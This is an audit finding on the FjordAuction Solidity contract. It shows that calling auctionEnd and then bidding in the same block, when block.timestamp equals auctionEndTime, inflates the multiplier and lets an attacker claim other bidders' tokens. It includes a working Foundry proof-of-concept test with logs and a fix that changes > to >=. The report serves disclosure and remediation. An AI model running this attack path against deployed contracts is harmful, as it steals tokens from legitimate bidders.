Summary
The FjordAuction contract can be exploited when block.timestamp is equal to auctionEndTime by ending the auction and then placing a bid in the same block. This leads to an outdated and inflated multiplier value that allows the attacker to claim more tokens than their actual bid amount warrants.
Attack path: auctionEnd -> bid -> claimTokens
The steps of the attack are as follows:
1 - Ending the Auction:
The attacker first calls the auctionEnd function, if the transaction is included in a block where block.timestamp == auctionEndTime, the condition block.timestamp < auctionEndTime will not be met, allowing the function to proceed.
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L181-L202
function auctionEnd() external {
@> if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
ended = true;
emit AuctionEnded(totalBids, totalTokens);
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
@> multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}
At this point, the multiplier is calculated based on the total number of tokens and bids placed up to this moment. The multiplier value is calculated only once, and it is not updated if new bids are placed after this function call.
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
A lower number of bids results in a higher multiplier, the attacker will benefit from this by placing a bid after calling the auctionEnd function, so that their bid is not considered in the multiplier calculation.
2 - Placing a Bid After Auction End:
Immediately after calling auctionEnd, the attacker can still call the bid function within the same block, as the block.timestamp is still equal to auctionEndTime. The attacker places a new bid even though the auction has technically ended.
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L143-L153
function bid(uint256 amount) external {
@> if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
@> bids[msg.sender] = bids[msg.sender].add(amount);
@> totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
This bid increases the totalBids and the individual bid amount for the attacker but the multiplier remains unchanged. The multiplier is thus inflated relative to the actual number of bids at the end of the auction.
3 - Claiming Excess Tokens:
Finally, the attacker calls the claimTokens function to claim their share of the auction tokens. The inflated multiplier is used to calculate the claimable value, and the attacker receives more tokens than they should, effectively stealing tokens from legitimate bidders.
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L207-L222
function claimTokens() external {
if (!ended) {
revert AuctionNotYetEnded();
}
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoTokensToClaim();
}
@> uint256 claimable = userBids.mul(multiplier).div(PRECISION_18);
bids[msg.sender] = 0;
@> auctionToken.transfer(msg.sender, claimable);
emit TokensClaimed(msg.sender, claimable);
}
Vulnerability Details
PoC
function testBlockTimestampExploit() public {
address[] memory bidders = new address[](4);
bidders[0] = address(0x2);
bidders[1] = address(0x3);
bidders[2] = address(0x4);
bidders[3] = address(0x5);
address attacker = address(0x6);
uint256 bidAmount = 100 ether;
for (uint256 i = 0; i < bidders.length; i++) {
deal(address(fjordPoints), bidders[i], bidAmount);
}
deal(address(fjordPoints), attacker, bidAmount);
for (uint256 i = 0; i < bidders.length; i++) {
approveAndBid(bidders[i], bidAmount);
}
skip(biddingTime);
assertEq(block.timestamp, auction.auctionEndTime());
vm.prank(attacker);
auction.auctionEnd();
console.log("`multiplier` value after `auctionEnd` call: ", auction.multiplier());
approveAndBid(attacker, bidAmount);
uint256 expectedMultiplier = totalTokens.mul(auction.PRECISION_18()).div(auction.totalBids());
assertGt(auction.multiplier(), expectedMultiplier);
console.log("Expected `multiplier` value if all bids, including the attacker's, were considered: ", expectedMultiplier);
vm.prank(attacker);
auction.claimTokens();
console.log("Token amount claimed by the attacker: ", auctionToken.balanceOf(attacker));
console.log("Contract remaining token balance, after attacker claims: ", auctionToken.balanceOf(address(auction)));
for (uint256 i = 0; i < bidders.length - 1; i++) {
vm.prank(bidders[i]);
auction.claimTokens();
}
console.log("Contract remaining token balance, after three of the four legitimate bidders claim: ", auctionToken.balanceOf(address(auction)));
vm.prank(bidders[bidders.length - 1]);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
auction.claimTokens();
}
* @notice Helper function to approve and bid with a bidder address and amount.
* @param bidder The address of the bidder.
* @param amount The amount of FjordPoints to bid.
*/
function approveAndBid(address bidder, uint256 amount) internal {
vm.startPrank(bidder);
fjordPoints.approve(address(auction), amount);
auction.bid(amount);
vm.stopPrank();
}
Logs:
`multiplier` value after `auctionEnd` call: 2500000000000000000
Expected `multiplier` value if all bids, including the attacker's, were considered: 2000000000000000000
Token amount claimed by the attacker: 250000000000000000000
Contract remaining token balance, after attacker claims: 750000000000000000000
Contract remaining token balance, after three of the four legitimate bidders claim: 0
Steps to reproduce the PoC:
Impact
Tokens allocated for legitimate bidders can be stolen.
Tools Used
Manual review
Recommendations
Update FjordAuction contract to use >= instead of > when comparing block.timestamp and auctionEndTime in the bid and unbid functions.
/**
* @notice Places a bid in the auction.
* @param amount The amount of FjordPoints to bid.
*/
function bid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
/**
* @notice Allows users to withdraw part or all of their bids before the auction ends.
* @param amount The amount of FjordPoints to withdraw.
*/
function unbid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoBidsToWithdraw();
}
if (amount > userBids) {
revert InvalidUnbidAmount();
}
bids[msg.sender] = bids[msg.sender].sub(amount);
totalBids = totalBids.sub(amount);
fjordPoints.transfer(msg.sender, amount);
emit BidWithdrawn(msg.sender, amount);
}